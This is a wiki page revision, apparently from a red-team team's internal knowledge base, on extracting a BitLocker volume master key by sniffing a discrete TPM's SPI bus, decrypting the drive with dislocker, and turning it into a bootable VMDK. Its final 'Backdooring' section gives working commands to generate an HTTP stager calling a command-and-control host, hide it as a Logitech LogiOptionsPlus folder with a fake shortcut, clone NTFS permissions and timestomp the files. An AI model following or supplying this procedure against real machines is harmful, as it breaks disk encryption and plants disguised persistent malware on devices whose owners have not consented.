Offensive Security/Extract BitLocker VMK from TPM: Difference between revisions

From Wiki Aghanim
Jump to navigationJump to search
No edit summary
Line 1: Line 1:
== Extract
= BitLocker VMK Extraction via SPI =
 
== Prerequisites ==
* Discrete TPM. Check for specific manufacturer (Infineon, STMicro, Nuvoton). If you see Intel PTT or AMD fTPM in BIOS, that means it's a firmware-based TPM.
* A logic analyzer. In the office we have a [https://www.saleae.com/ Saleae].
* Logic analyzer software. We use [https://www.saleae.com/downloads/ Logic 2].
 
== Extracting BitLocker VMK ==
 
=== Locating the TPM Chip ===
The first step is to locate the TPM chip on the motherboard. The easiest way is to find a schematic for the motherboard and look for the TPM chip description. It is usually close to the CPU.
 
The best way to find schematics is to find the model number of the motherboard and search for that + "schematics".
 
Sources for finding schematics:
* [https://t.me/ schematics|boardviews|ARCHIVE 💻💻]
* [https://www.badcaps.net/ Badcaps - Laptop, TV, & Other Electronics Repair Forum]
* Indiafix
 
Once you locate the correct schematic (typically a .CAD file), leveraging an LLM can significantly accelerate TPM chip identification. LLMs can parse CAD files and quickly pinpoint the TPM component, saving considerable time during the reconnaissance phase.
 
=== Locating the SPI Bus Pins ===
After identifying the TPM chip, locate the following SPI bus pins:
* '''CLK''' (Clock)
* '''CS''' (Chip Select)
* '''MOSI''' (Master Out, Slave In)
* '''MISO''' (Master In, Slave Out)
 
Additionally, establish a proper ground connection to complete the circuit — this step is essential for reliable signal capture.
 
=== Configuring Logic 2 ===
Launch Logic 2. Each wire harness on the Saleae analyzer corresponds to a numbered channel in the software. Create a reference table to ensure correct connections and name them accordingly. Example:
 
{| class="wikitable"
|-
! Saleae Channel !! Logic 2 Label !! SPI Signal
|-
| Channel 0 || D0 || CLK
|-
| Channel 1 || D1 || CS
|-
| Channel 2 || D2 || MOSI
|-
| Channel 3 || D3 || MISO
|}
 
'''Voltage Configuration:''' Before capturing, set the correct voltage threshold in Logic 2's device settings. Consult the chip's datasheet or motherboard schematic to determine the TPM's operating voltage (typically 1.8V or 3.3V). Select the appropriate voltage level from the device settings panel to ensure accurate signal detection.
 
=== Adding the SPI Analyzer ===
In Logic 2, click '''Analyzers''' and add the built-in SPI analyzer. Configure with the following settings:
 
{| class="wikitable"
|-
! Setting !! Value
|-
| MOSI || Assign to your MOSI channel
|-
| MISO || Assign to your MISO channel
|-
| Clock || Assign to your CLK channel
|-
| Enable (CS) || Active High (if probing from flash chip CS line)
|-
| Bits per Transfer || 8 bits
|-
| Significant Bit || MSB first
|-
| Clock State || Rising edge (most TPMs)
|-
| Stream to Terminal || Disabled
|}
 
{{Note|You may need to test both Clock State and Enable Line settings to identify if the clock is high or low when inactive. If you have captured correct SPI traffic but cannot see the BitLocker VMK, analyze the traffic and adjust settings accordingly.}}
 
=== Loading the BitLocker SPI Toolkit ===
To automatically identify the VMK in captured SPI traffic, use the [https://github.com/ReversecLabs/bitlocker-spi-toolkit GitHub - ReversecLabs/bitlocker-spi-toolkit].
 
# Go to '''Extensions → Load Existing Extension'''
# Navigate to the cloned repo's <code>analyzer</code> folder
# Load the '''BitLocker-Key-Extractor''' extension
# Edit the extension settings and set the '''Input Analyzer''' to SPI
# Enable '''Stream to Terminal'''
 
=== Attaching Probes and Capturing ===
Carefully attach the probe hooks to the SPI bus pins. Ensure each connection is secure and making proper electrical contact — poor connections result in signal noise or data loss. Use a magnifying glass if the pins are very small.
 
# Click '''Start''' in Logic 2
# Immediately power on the target device
# Wait until Windows has loaded (Windows logo or login screen is visible)
# Click '''Stop''' to end the capture
 
In the Analyzers panel, locate the BitLocker Key Extractor output. The BitLocker VMK will be displayed as a '''32-byte hexadecimal string''' in the Data field. If not immediately visible, scroll through the analyzer results — the VMK annotation typically appears in the latter portion of the boot sequence.
 
== Decrypting the Drive ==
 
{{Warning|It is generally recommended '''NOT''' to mount the drive on Windows, as the OS may write to the disk, potentially causing issues.}}
 
Boot a DFIR operating system from USB, such as:
* [https://tsurugi-linux.org/ Tsurugi Linux]
* [https://sumuri.com/ SUMURI Digital Forensics (Paladin OS)]
 
The following commands will mount the drive as '''read-only''':
 
<syntaxhighlight lang="bash">
# Create two directories
sudo mkdir -p /media/bitlocker
sudo mkdir -p /media/bitlocker_mount
 
# If your VMK is in hex, convert it to binary
echo "YOUR_HEX_VMK" | xxd -r -p > vmk.bin
 
# Use fdisk to identify correct drive
fdisk -l
 
# Decrypt with dislocker (READ ONLY)
sudo dislocker -r -V /dev/sdX -K vmk.bin -- /media/bitlocker
 
# Mount virtual files
sudo mount -o loop,ro -t ntfs-3g /media/bitlocker/dislocker-file /media/bitlocker_mount
 
# Verify read only
mount | grep bitlocker
 
# Unmount
sudo umount /media/bitlocker_mount
sudo umount /media/bitlocker
</syntaxhighlight>
 
Contact PwC Forensics to help with cloning or imaging of the disk, as they have the appropriate tools.
 
== Creating a Bootable VMDK from BitLocker-Encrypted Windows Disk ==
 
=== Step 1: Mount the Backup Image ===
 
<syntaxhighlight lang="bash">
losetup -Pf --show /path/to/BackupImage.001
</syntaxhighlight>
 
Expected output: <code>/dev/loop0</code> or <code>/dev/loop1</code>.
 
=== Step 2: Inspect Partition Layout ===
 
<syntaxhighlight lang="bash">
fdisk -l /dev/loop1
</syntaxhighlight>
 
Example output:
* <code>/dev/loop1p1</code> — 500M EFI System
* <code>/dev/loop1p2</code> — 128M Microsoft Reserved
* <code>/dev/loop1p3</code> — 250G Microsoft Basic Data (BitLocker encrypted)
* <code>/dev/loop1p4</code> — 2.4G Windows Recovery Environment
 
=== Step 3: Decrypt BitLocker Volume ===
 
<syntaxhighlight lang="bash">
echo "VMK_VALUE" | xxd -r -p > vmk.bin
dislocker /V /dev/loop1p3 -K vmk.bin -- /mnt/bitlocker
</syntaxhighlight>
 
This creates a decrypted file called <code>dislocker-file</code>.
 
=== Step 4: Mount Decrypted Volume ===
 
<syntaxhighlight lang="bash">
sudo mount -o loop,ro -t ntfs-3g /mnt/bitlocker/dislocker-file /mnt/bitlocker_mounted
mount  # Verify mounted with ro
</syntaxhighlight>
 
=== Step 5: Verification Commands ===
 
<syntaxhighlight lang="bash">
# Verify loop devices
losetup -a
 
# Check partition details
parted /dev/loop1 unit MiB print
 
# Verify mounts
mount | grep loop
df -h | grep loop
 
# Check available space
df -h "OUTPUT-FOLDER"
 
# Verify required tools
which mkfs.ntfs rsync parted
 
# Verify decrypted data
ls -la /mnt/bitlocker_mounted | head -20
</syntaxhighlight>
 
=== Step 6: Create Bootable VMDK (Script) ===
 
The script below will:
* Create a 244GB raw disk image (adjust based on your image size)
* Partition it to match the original Windows disk (EFI + MSR + Windows + Recovery)
* Format EFI partition (FAT32) and copy boot files
* Format Windows partition (NTFS) and copy all decrypted data
* Format recovery partition (NTFS)
* Convert raw image to VMDK format
* Clean up temporary files
 
'''Notes before running:'''
* Lines 16–21: Verify variables are correct before proceeding
* Line 92: Change partition size depending on image size
* Line 106: Change depending on image size
* '''Time estimate:''' 30–60 minutes
* '''Temporary space needed:''' ~250GB
* '''Final VMDK size:''' ~74GB (varies by source image)
 
<syntaxhighlight lang="bash">
#!/bin/bash
# ==============================================================================
# Script to create a bootable VMDK from BitLocker-decrypted Windows disk
# ==============================================================================
set -e
 
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m'
 
ENCRYPTED_LOOP="/dev/loop0"
DECRYPTED_MOUNT="/mnt/hgfs/Shared_Kali/Laptop Image/bitlockermount"
WORK_DIR="/mnt/hgfs/Shared_Kali/Laptop Image"
RAW_IMAGE="$WORK_DIR/new_bootable_disk.img"
FINAL_VMDK="$WORK_DIR/Windows_Bootable.vmdk"
TEMP_LOOP=""
 
print_status() { echo -e "${GREEN}[+]${NC} $1"; }
print_error()  { echo -e "${RED}[!]${NC} $1"; }
print_warning(){ echo -e "${YELLOW}[*]${NC} $1"; }
 
cleanup() {
    print_warning "Cleaning up..."
    umount /mnt/new_efi 2>/dev/null || true
    umount /mnt/old_efi 2>/dev/null || true
    umount /mnt/new_win 2>/dev/null || true
    rmdir /mnt/new_efi /mnt/old_efi /mnt/new_win 2>/dev/null || true
    if [ -n "$TEMP_LOOP" ] && [ -b "$TEMP_LOOP" ]; then
        losetup -d "$TEMP_LOOP" 2>/dev/null || true
    fi
    qemu-nbd --disconnect /dev/nbd0 2>/dev/null || true
}
trap cleanup EXIT
 
print_status "Running pre-flight checks..."
 
if [ "$EUID" -ne 0 ]; then
    print_error "Please run as root"; exit 1
fi
if ! command -v sgdisk &> /dev/null; then
    print_error "sgdisk not installed. Run: apt install gdisk"; exit 1
fi
if [ ! -b "$ENCRYPTED_LOOP" ]; then
    print_error "Encrypted loop device $ENCRYPTED_LOOP not found"; exit 1
fi
if [ ! -d "$DECRYPTED_MOUNT" ]; then
    print_error "Decrypted mount point $DECRYPTED_MOUNT not found"; exit 1
fi
 
AVAILABLE_SPACE=$(df -BG "$WORK_DIR" | awk 'NR==2 {print $4}' | sed 's/G//')
if [ "$AVAILABLE_SPACE" -lt 250 ]; then
    print_error "Insufficient disk space. Need ~250GB, have ${AVAILABLE_SPACE}GB"; exit 1
fi
 
print_status "Pre-flight checks passed!"
print_warning "This will create a ~240GB disk image. Press Ctrl+C to cancel, or Enter to continue..."
read
 
print_status "Creating 244GB raw disk image..."
qemu-img create -f raw "$RAW_IMAGE" 244198M
 
print_status "Setting up loop device..."
TEMP_LOOP=$(losetup -fP --show "$RAW_IMAGE")
print_status "Using loop device: $TEMP_LOOP"
sleep 2
 
print_status "Creating GPT partition table with sgdisk..."
sgdisk -Z "$TEMP_LOOP" 2>/dev/null || true
 
sgdisk -n 1:2048:1026047    -t 1:EF00 -c 1:"EFI system partition"        "$TEMP_LOOP"
sgdisk -n 2:1026048:1288191 -t 2:0C01 -c 2:"Microsoft reserved partition" "$TEMP_LOOP"
sgdisk -n 3:1288192:494993407 -t 3:0700 -c 3:"Basic data partition"      "$TEMP_LOOP"
sgdisk -n 4:494993408:0    -t 4:2700 -c 4:"Basic data partition"        "$TEMP_LOOP"
sgdisk -A 1:set:0 "$TEMP_LOOP"
sgdisk -A 4:set:62 "$TEMP_LOOP"
 
partprobe "$TEMP_LOOP" 2>/dev/null || true
sleep 3
 
if [ ! -b "${TEMP_LOOP}p1" ]; then
    print_error "Partition creation failed"; exit 1
fi
sgdisk -p "$TEMP_LOOP"
 
print_status "Formatting EFI partition..."
mkfs.vfat -F32 "${TEMP_LOOP}p1"
 
print_status "Copying EFI boot files..."
mkdir -p /mnt/new_efi /mnt/old_efi
mount "${TEMP_LOOP}p1" /mnt/new_efi
mount "${ENCRYPTED_LOOP}p1" /mnt/old_efi
cp -av /mnt/old_efi/* /mnt/new_efi/
umount /mnt/new_efi
umount /mnt/old_efi
 
print_status "Formatting Windows partition..."
mkfs.ntfs -f -Q "${TEMP_LOOP}p3"
 
print_status "Copying Windows data..."
mkdir -p /mnt/new_win
mount "${TEMP_LOOP}p3" /mnt/new_win
rsync -aP --info=progress2 "$DECRYPTED_MOUNT/" /mnt/new_win/
 
SRC_SIZE=$(du -sb "$DECRYPTED_MOUNT" | cut -f1)
DST_SIZE=$(du -sb /mnt/new_win | cut -f1)
print_status "Source: $SRC_SIZE bytes | Destination: $DST_SIZE bytes"
umount /mnt/new_win
 
print_status "Formatting recovery partition..."
mkfs.ntfs -f -Q "${TEMP_LOOP}p4"
 
print_status "Detaching loop device..."
losetup -d "$TEMP_LOOP"
TEMP_LOOP=""
 
print_status "Converting to VMDK..."
qemu-img convert -f raw -O vmdk -p "$RAW_IMAGE" "$FINAL_VMDK"
qemu-img info "$FINAL_VMDK"
 
print_status "Cleaning up..."
rm -f "$RAW_IMAGE"
rmdir /mnt/new_efi /mnt/old_efi /mnt/new_win 2>/dev/null || true
 
print_status "VMDK creation complete! Output: $FINAL_VMDK"
print_status "Next steps:"
print_status "1. Import $FINAL_VMDK into VMware/VirtualBox"
print_status "2. Configure VM as UEFI boot"
print_status "3. If boot fails, use Windows installation media to run bootrec/bcdboot"
</syntaxhighlight>
 
=== Step 7: Import VMDK to VMware ===
 
# Create a new VM
# Select '''Use existing virtual disk'''
# Select your newly created <code>Windows_Bootable.vmdk</code>
# Set Firmware to '''UEFI'''
# RAM: 8GB
# Processor: 2+ cores
 
== Troubleshooting ==
 
If the VM fails to boot:
 
# Mount a Windows 11 installation ISO
# Select '''Repair your computer'''
# If that fails: '''Troubleshoot → Advanced Options → Command Prompt'''
# Run the following:
 
<syntaxhighlight lang="bash">
diskpart
list volume
select volume VOLUME_NUMBER  # Should be your EFI partition
assign letter S:
exit
 
bcdboot C:\Windows /s S: /f UEFI
exit  # Remove ISO and reboot
</syntaxhighlight>
 
== Backdooring ==
 
=== Mount Drive (Read Only) ===
 
<syntaxhighlight lang="bash">
sudo mkdir -p /media/bitlocker
sudo mkdir -p /media/bitlocker_mount
 
echo "YOUR_HEX_VMK" | xxd -r -p > vmk.bin
 
sudo dislocker -r -V /dev/sdX -K vmk.bin -- /media/bitlocker
sudo mount -o loop,ro -t ntfs-3g /media/bitlocker/dislocker-file /media/bitlocker_mount
 
mount | grep bitlocker
 
sudo umount /media/bitlocker_mount
sudo umount /media/bitlocker
</syntaxhighlight>
 
=== Deploying Stager ===
 
<syntaxhighlight lang="bash">
stagers create-http NodeNative net481 https://logic-update.azure-api.net \
  --filename UserCache \
  --userAgent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0"
</syntaxhighlight>
 
Copy the <code>UserCache</code> file to the LogiOptionsPlus folder, then copy the content to the target under:
<code>C:\Users\username\AppData\Local\</code>
 
=== Setting File Permissions ===
 
Find an existing file from the target user directory and save its permissions:
 
<syntaxhighlight lang="bash">
getfattr -n system.ntfs_acl -e hex ../../Downloads/desktop.ini > perms.txt
</syntaxhighlight>
 
Apply those permissions to all files in the LogiOptionsPlus folder:
 
<syntaxhighlight lang="bash">
find . -exec setfattr -n system.ntfs_acl -v \
  "$(cat /mnt/Users/domainuser/AppData/Local/perms.txt | cut -d'=' -f2 | head -n2 | tail -n1)" {} \;
</syntaxhighlight>
 
Verify permissions:
 
<syntaxhighlight lang="bash">
ntfssecaudit ffmpeg.dll
</syntaxhighlight>
 
=== Creating LNK File ===
 
Using [https://raw.githubusercontent.com/ehusby/mslink/refs/heads/main/mslink_v1.3.sh mslink]:
 
<syntaxhighlight lang="bash">
/home/alaa/mslink_v1.3.sh \
  -o logioptionsplus.lnk \
  -w 'C:\Users\domainusers\AppData\Local\LogiOptionsPlus' \
  -l 'C:\Users\domainusers\AppData\Local\LogiOptionsPlus\logioptionsplus.exe'
</syntaxhighlight>
 
Apply permissions to the LNK file as well:
 
<syntaxhighlight lang="bash">
setfattr -n system.ntfs_acl -v \
  "$(cat /mnt/Users/domainuser/AppData/Local/perms.txt | cut -d'=' -f2 | head -n2 | tail -n1)" \
  logioptionsplus.lnk
</syntaxhighlight>
 
=== Timestomping ===
 
<syntaxhighlight lang="bash">
touch -d "2 hours ago" filename
</syntaxhighlight>




[[Category:Offensive Security]]
[[Category:Offensive Security]]

Revision as of 08:10, 18 February 2026

BitLocker VMK Extraction via SPI

Prerequisites

  • Discrete TPM. Check for specific manufacturer (Infineon, STMicro, Nuvoton). If you see Intel PTT or AMD fTPM in BIOS, that means it's a firmware-based TPM.
  • A logic analyzer. In the office we have a Saleae.
  • Logic analyzer software. We use Logic 2.

Extracting BitLocker VMK

Locating the TPM Chip

The first step is to locate the TPM chip on the motherboard. The easiest way is to find a schematic for the motherboard and look for the TPM chip description. It is usually close to the CPU.

The best way to find schematics is to find the model number of the motherboard and search for that + "schematics".

Sources for finding schematics:

Once you locate the correct schematic (typically a .CAD file), leveraging an LLM can significantly accelerate TPM chip identification. LLMs can parse CAD files and quickly pinpoint the TPM component, saving considerable time during the reconnaissance phase.

Locating the SPI Bus Pins

After identifying the TPM chip, locate the following SPI bus pins:

  • CLK (Clock)
  • CS (Chip Select)
  • MOSI (Master Out, Slave In)
  • MISO (Master In, Slave Out)

Additionally, establish a proper ground connection to complete the circuit — this step is essential for reliable signal capture.

Configuring Logic 2

Launch Logic 2. Each wire harness on the Saleae analyzer corresponds to a numbered channel in the software. Create a reference table to ensure correct connections and name them accordingly. Example:

Saleae Channel Logic 2 Label SPI Signal
Channel 0 D0 CLK
Channel 1 D1 CS
Channel 2 D2 MOSI
Channel 3 D3 MISO

Voltage Configuration: Before capturing, set the correct voltage threshold in Logic 2's device settings. Consult the chip's datasheet or motherboard schematic to determine the TPM's operating voltage (typically 1.8V or 3.3V). Select the appropriate voltage level from the device settings panel to ensure accurate signal detection.

Adding the SPI Analyzer

In Logic 2, click Analyzers and add the built-in SPI analyzer. Configure with the following settings:

Setting Value
MOSI Assign to your MOSI channel
MISO Assign to your MISO channel
Clock Assign to your CLK channel
Enable (CS) Active High (if probing from flash chip CS line)
Bits per Transfer 8 bits
Significant Bit MSB first
Clock State Rising edge (most TPMs)
Stream to Terminal Disabled

Template:Note

Loading the BitLocker SPI Toolkit

To automatically identify the VMK in captured SPI traffic, use the GitHub - ReversecLabs/bitlocker-spi-toolkit.

  1. Go to Extensions → Load Existing Extension
  2. Navigate to the cloned repo's analyzer folder
  3. Load the BitLocker-Key-Extractor extension
  4. Edit the extension settings and set the Input Analyzer to SPI
  5. Enable Stream to Terminal

Attaching Probes and Capturing

Carefully attach the probe hooks to the SPI bus pins. Ensure each connection is secure and making proper electrical contact — poor connections result in signal noise or data loss. Use a magnifying glass if the pins are very small.

  1. Click Start in Logic 2
  2. Immediately power on the target device
  3. Wait until Windows has loaded (Windows logo or login screen is visible)
  4. Click Stop to end the capture

In the Analyzers panel, locate the BitLocker Key Extractor output. The BitLocker VMK will be displayed as a 32-byte hexadecimal string in the Data field. If not immediately visible, scroll through the analyzer results — the VMK annotation typically appears in the latter portion of the boot sequence.

Decrypting the Drive

Template:Warning

Boot a DFIR operating system from USB, such as:

The following commands will mount the drive as read-only:

# Create two directories
sudo mkdir -p /media/bitlocker
sudo mkdir -p /media/bitlocker_mount

# If your VMK is in hex, convert it to binary
echo "YOUR_HEX_VMK" | xxd -r -p > vmk.bin

# Use fdisk to identify correct drive
fdisk -l

# Decrypt with dislocker (READ ONLY)
sudo dislocker -r -V /dev/sdX -K vmk.bin -- /media/bitlocker

# Mount virtual files
sudo mount -o loop,ro -t ntfs-3g /media/bitlocker/dislocker-file /media/bitlocker_mount

# Verify read only
mount | grep bitlocker

# Unmount
sudo umount /media/bitlocker_mount
sudo umount /media/bitlocker

Contact PwC Forensics to help with cloning or imaging of the disk, as they have the appropriate tools.

Creating a Bootable VMDK from BitLocker-Encrypted Windows Disk

Step 1: Mount the Backup Image

losetup -Pf --show /path/to/BackupImage.001

Expected output: /dev/loop0 or /dev/loop1.

Step 2: Inspect Partition Layout

fdisk -l /dev/loop1

Example output:

  • /dev/loop1p1 — 500M EFI System
  • /dev/loop1p2 — 128M Microsoft Reserved
  • /dev/loop1p3 — 250G Microsoft Basic Data (BitLocker encrypted)
  • /dev/loop1p4 — 2.4G Windows Recovery Environment

Step 3: Decrypt BitLocker Volume

echo "VMK_VALUE" | xxd -r -p > vmk.bin
dislocker /V /dev/loop1p3 -K vmk.bin -- /mnt/bitlocker

This creates a decrypted file called dislocker-file.

Step 4: Mount Decrypted Volume

sudo mount -o loop,ro -t ntfs-3g /mnt/bitlocker/dislocker-file /mnt/bitlocker_mounted
mount  # Verify mounted with ro

Step 5: Verification Commands

# Verify loop devices
losetup -a

# Check partition details
parted /dev/loop1 unit MiB print

# Verify mounts
mount | grep loop
df -h | grep loop

# Check available space
df -h "OUTPUT-FOLDER"

# Verify required tools
which mkfs.ntfs rsync parted

# Verify decrypted data
ls -la /mnt/bitlocker_mounted | head -20

Step 6: Create Bootable VMDK (Script)

The script below will:

  • Create a 244GB raw disk image (adjust based on your image size)
  • Partition it to match the original Windows disk (EFI + MSR + Windows + Recovery)
  • Format EFI partition (FAT32) and copy boot files
  • Format Windows partition (NTFS) and copy all decrypted data
  • Format recovery partition (NTFS)
  • Convert raw image to VMDK format
  • Clean up temporary files

Notes before running:

  • Lines 16–21: Verify variables are correct before proceeding
  • Line 92: Change partition size depending on image size
  • Line 106: Change depending on image size
  • Time estimate: 30–60 minutes
  • Temporary space needed: ~250GB
  • Final VMDK size: ~74GB (varies by source image)
#!/bin/bash
# ==============================================================================
# Script to create a bootable VMDK from BitLocker-decrypted Windows disk
# ==============================================================================
set -e

RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m'

ENCRYPTED_LOOP="/dev/loop0"
DECRYPTED_MOUNT="/mnt/hgfs/Shared_Kali/Laptop Image/bitlockermount"
WORK_DIR="/mnt/hgfs/Shared_Kali/Laptop Image"
RAW_IMAGE="$WORK_DIR/new_bootable_disk.img"
FINAL_VMDK="$WORK_DIR/Windows_Bootable.vmdk"
TEMP_LOOP=""

print_status() { echo -e "${GREEN}[+]${NC} $1"; }
print_error()  { echo -e "${RED}[!]${NC} $1"; }
print_warning(){ echo -e "${YELLOW}[*]${NC} $1"; }

cleanup() {
    print_warning "Cleaning up..."
    umount /mnt/new_efi 2>/dev/null || true
    umount /mnt/old_efi 2>/dev/null || true
    umount /mnt/new_win 2>/dev/null || true
    rmdir /mnt/new_efi /mnt/old_efi /mnt/new_win 2>/dev/null || true
    if [ -n "$TEMP_LOOP" ] && [ -b "$TEMP_LOOP" ]; then
        losetup -d "$TEMP_LOOP" 2>/dev/null || true
    fi
    qemu-nbd --disconnect /dev/nbd0 2>/dev/null || true
}
trap cleanup EXIT

print_status "Running pre-flight checks..."

if [ "$EUID" -ne 0 ]; then
    print_error "Please run as root"; exit 1
fi
if ! command -v sgdisk &> /dev/null; then
    print_error "sgdisk not installed. Run: apt install gdisk"; exit 1
fi
if [ ! -b "$ENCRYPTED_LOOP" ]; then
    print_error "Encrypted loop device $ENCRYPTED_LOOP not found"; exit 1
fi
if [ ! -d "$DECRYPTED_MOUNT" ]; then
    print_error "Decrypted mount point $DECRYPTED_MOUNT not found"; exit 1
fi

AVAILABLE_SPACE=$(df -BG "$WORK_DIR" | awk 'NR==2 {print $4}' | sed 's/G//')
if [ "$AVAILABLE_SPACE" -lt 250 ]; then
    print_error "Insufficient disk space. Need ~250GB, have ${AVAILABLE_SPACE}GB"; exit 1
fi

print_status "Pre-flight checks passed!"
print_warning "This will create a ~240GB disk image. Press Ctrl+C to cancel, or Enter to continue..."
read

print_status "Creating 244GB raw disk image..."
qemu-img create -f raw "$RAW_IMAGE" 244198M

print_status "Setting up loop device..."
TEMP_LOOP=$(losetup -fP --show "$RAW_IMAGE")
print_status "Using loop device: $TEMP_LOOP"
sleep 2

print_status "Creating GPT partition table with sgdisk..."
sgdisk -Z "$TEMP_LOOP" 2>/dev/null || true

sgdisk -n 1:2048:1026047    -t 1:EF00 -c 1:"EFI system partition"        "$TEMP_LOOP"
sgdisk -n 2:1026048:1288191 -t 2:0C01 -c 2:"Microsoft reserved partition" "$TEMP_LOOP"
sgdisk -n 3:1288192:494993407 -t 3:0700 -c 3:"Basic data partition"       "$TEMP_LOOP"
sgdisk -n 4:494993408:0     -t 4:2700 -c 4:"Basic data partition"         "$TEMP_LOOP"
sgdisk -A 1:set:0 "$TEMP_LOOP"
sgdisk -A 4:set:62 "$TEMP_LOOP"

partprobe "$TEMP_LOOP" 2>/dev/null || true
sleep 3

if [ ! -b "${TEMP_LOOP}p1" ]; then
    print_error "Partition creation failed"; exit 1
fi
sgdisk -p "$TEMP_LOOP"

print_status "Formatting EFI partition..."
mkfs.vfat -F32 "${TEMP_LOOP}p1"

print_status "Copying EFI boot files..."
mkdir -p /mnt/new_efi /mnt/old_efi
mount "${TEMP_LOOP}p1" /mnt/new_efi
mount "${ENCRYPTED_LOOP}p1" /mnt/old_efi
cp -av /mnt/old_efi/* /mnt/new_efi/
umount /mnt/new_efi
umount /mnt/old_efi

print_status "Formatting Windows partition..."
mkfs.ntfs -f -Q "${TEMP_LOOP}p3"

print_status "Copying Windows data..."
mkdir -p /mnt/new_win
mount "${TEMP_LOOP}p3" /mnt/new_win
rsync -aP --info=progress2 "$DECRYPTED_MOUNT/" /mnt/new_win/

SRC_SIZE=$(du -sb "$DECRYPTED_MOUNT" | cut -f1)
DST_SIZE=$(du -sb /mnt/new_win | cut -f1)
print_status "Source: $SRC_SIZE bytes | Destination: $DST_SIZE bytes"
umount /mnt/new_win

print_status "Formatting recovery partition..."
mkfs.ntfs -f -Q "${TEMP_LOOP}p4"

print_status "Detaching loop device..."
losetup -d "$TEMP_LOOP"
TEMP_LOOP=""

print_status "Converting to VMDK..."
qemu-img convert -f raw -O vmdk -p "$RAW_IMAGE" "$FINAL_VMDK"
qemu-img info "$FINAL_VMDK"

print_status "Cleaning up..."
rm -f "$RAW_IMAGE"
rmdir /mnt/new_efi /mnt/old_efi /mnt/new_win 2>/dev/null || true

print_status "VMDK creation complete! Output: $FINAL_VMDK"
print_status "Next steps:"
print_status "1. Import $FINAL_VMDK into VMware/VirtualBox"
print_status "2. Configure VM as UEFI boot"
print_status "3. If boot fails, use Windows installation media to run bootrec/bcdboot"

Step 7: Import VMDK to VMware

  1. Create a new VM
  2. Select Use existing virtual disk
  3. Select your newly created Windows_Bootable.vmdk
  4. Set Firmware to UEFI
  5. RAM: 8GB
  6. Processor: 2+ cores

Troubleshooting

If the VM fails to boot:

  1. Mount a Windows 11 installation ISO
  2. Select Repair your computer
  3. If that fails: Troubleshoot → Advanced Options → Command Prompt
  4. Run the following:
diskpart
list volume
select volume VOLUME_NUMBER   # Should be your EFI partition
assign letter S:
exit

bcdboot C:\Windows /s S: /f UEFI
exit   # Remove ISO and reboot

Backdooring

Mount Drive (Read Only)

sudo mkdir -p /media/bitlocker
sudo mkdir -p /media/bitlocker_mount

echo "YOUR_HEX_VMK" | xxd -r -p > vmk.bin

sudo dislocker -r -V /dev/sdX -K vmk.bin -- /media/bitlocker
sudo mount -o loop,ro -t ntfs-3g /media/bitlocker/dislocker-file /media/bitlocker_mount

mount | grep bitlocker

sudo umount /media/bitlocker_mount
sudo umount /media/bitlocker

Deploying Stager

stagers create-http NodeNative net481 https://logic-update.azure-api.net \
  --filename UserCache \
  --userAgent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0"

Copy the UserCache file to the LogiOptionsPlus folder, then copy the content to the target under: C:\Users\username\AppData\Local\

Setting File Permissions

Find an existing file from the target user directory and save its permissions:

getfattr -n system.ntfs_acl -e hex ../../Downloads/desktop.ini > perms.txt

Apply those permissions to all files in the LogiOptionsPlus folder:

find . -exec setfattr -n system.ntfs_acl -v \
  "$(cat /mnt/Users/domainuser/AppData/Local/perms.txt | cut -d'=' -f2 | head -n2 | tail -n1)" {} \;

Verify permissions:

ntfssecaudit ffmpeg.dll

Creating LNK File

Using mslink:

/home/alaa/mslink_v1.3.sh \
  -o logioptionsplus.lnk \
  -w 'C:\Users\domainusers\AppData\Local\LogiOptionsPlus' \
  -l 'C:\Users\domainusers\AppData\Local\LogiOptionsPlus\logioptionsplus.exe'

Apply permissions to the LNK file as well:

setfattr -n system.ntfs_acl -v \
  "$(cat /mnt/Users/domainuser/AppData/Local/perms.txt | cut -d'=' -f2 | head -n2 | tail -n1)" \
  logioptionsplus.lnk

Timestomping

touch -d "2 hours ago" filename